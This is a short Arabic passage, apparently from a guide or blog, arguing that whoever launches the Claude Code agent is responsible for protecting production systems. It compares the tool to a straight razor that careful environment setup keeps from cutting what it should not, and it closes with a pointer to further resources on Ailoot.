لا تتعلق هذه العبارة بالأسلوب. فالشخص المسؤول عن حماية الإنتاج هو من أطلق الوكيل. يعمل Claude Code مثل شفرة حلاقة مستقيمة: يمكنك الحلاقة بها، ويمكنك أن تجرح نفسك بها. والإعداد يجيب عن سؤال واحد: هل أعددت البيئة جيدًا بما يكفي كيلا تقطع الشفرة أي شيء لا ينبغي قطعه؟

تجد مزيدًا من الموارد على Ailoot.